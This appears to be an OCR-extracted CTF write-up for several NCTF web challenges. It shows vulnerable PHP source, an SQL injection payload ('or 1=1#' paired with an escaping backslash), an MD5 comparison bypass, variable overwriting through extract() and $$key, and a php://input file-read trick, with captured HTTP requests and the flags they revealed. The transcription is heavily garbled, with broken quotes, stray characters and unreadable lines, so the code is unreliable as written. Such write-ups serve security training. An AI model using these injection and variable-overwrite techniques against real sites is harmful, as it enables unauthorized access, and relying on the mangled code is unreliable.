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#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php’;

function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$ GET['username']);
$password = @clean((string)$_GET[ 'password']);

$query="SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\'"'.$password.'\"';";
$result=mysql_query($query);

if(!$result || mysql_num_rows($result) < 1){

die('Invalid password!');

}

echo $flag;
-->
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SQL#ATiER] : SELECT * FROM users WHERE name=\".$username.\' AND pass=\".$password.\";’;

Z B RS L usernamei A I 2 14177 AND pass=)5 1 1115 A # 7E B

$query="SELECT * FROM users WHERE name=\'\\' AND pass=\''$password'\';";
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SELECT * FROM users WHERE name='\' AND pass='or 1=14#';
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SELECT * FROM users WHERE name='\' AND pass='or 1=1#';

SQL#AT

SELECT *

FROM users

WHERE name = ''' AND pass="'
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if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] !'= $ GET['b'])

if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);

else

print 'Wrong.';

}
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if (isset($_GET['a']) and isset($_GET['b'])) {

if ($_GET['a'] != $_GET['b"])

if (md5($_GET['a']l) == md5($_GET['b']))
die('Flag: '.$flag);

else

print ‘Wrong.";

}

Flag: nctf{php_is_so_cool}
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<?php if ($_SERVER["REQUEST METHOD"] == "POST") { ?>

<?php
extract($_POST);

if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">

<code><?php echo $theflag; ?></code>

</div>
<?php } >
<?php } >
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POST /webl8/ HTTP/1.1

Host: nctf.nuptzj.cn

,Content-Length: 24

ICache-Control: max-age=0

Origin: http://nctf.nuptzj.cn

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_16_0)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108
safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp, image/ap
ng,*/*;q=0.8,application/signed-exchange;v=b3

Referer: http://nctf.nuptzj.cn/webl8/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Connection: close

pass=1l&thepassword_123=[L
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<title>The Ducks</title>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css"
rel="stylesheet" integrity="sha384-1g8mTJOASx8jlAu+a5WDVnPi2lkFfwwEAa8hDDdjZ1lpLegxhjVMELfgjWP
crossorigin="anonymous">
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"
integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq50VEiW37PRR3j5ELgxsslyVqOtnepnHVP9aJ7xS"
crossorigin="anonymous"></script>
</head>
<body>
<div class="container">
<div class="jumbotron">
<center>
<h1>The Ducks</hl>
<div class="alert
alert-success">
<code>nctf{bian_liang_fu_gai!}</code>
</div>
<form action="." method="POST
<div class="row">
<div class="col-md-6 col-md-offset-3">
<div class="row">
<div class="col-md-9">
<input type="password" class="form-control" name="pas
placeholder="Password" />
</div>
<div class="col-md-3">
<input type="submit" class="btn btn-primary" value="S§

/>
</div>
</div>
</div>
</div>
</form>
</center> o
</div> . !
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<l--$file = $_GET['file'];

if(@file_get_contents($file) == "meizijiu"){
echo $nctf;

}-->
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POST /web23/?file=php://input HTTP/1.1 A HTTP/1.1 200 OK

Host: nctf.nuptzj.cn - Server: nginx

Cache-Control: max-age=0 Date: Thu, 30 Sep 2021 14:56:41 GMT
Upgrade-Insecure-Requests: 1 Content-Type: text/html

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_16_0) AppleWebKit/537.36 (KHTML, Connection: close

like Gecko) Chrome/78.0.3904.108 Safari/537.36 Via: 3831

Accept: Content-Length: 114
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/apng,*/*;q=0.8,ap

plication/signed-exchange;v=b3 nct£{0b021b88527c69e5}<!/--$file = § GET['file'];
Accept-Encoding: gzip, deflate if(@file_get contents(sfile) == "meizijiu"){
Accept-Language: zh-CN,zh;g=0.9 echo $nctf;

Connection: close P-=>

Content-Type: application/x-www-form-urlencoded
Content-Length: 8
meizijiu
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<!--foreach($_GET as $key => $value){
$$key = $value;
¥
if($name == "meizijiu233"){
echo $flag;
}-->
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1| nctf{AD3FBD8D5928693CA499347C91570AE6}

2| <l--foreach($_GET as $key => $value){
3 $Skey = Svalue;
4|}
5| if ($name == "meizijiu233"){
6 echo $flag;
7 }y-—>
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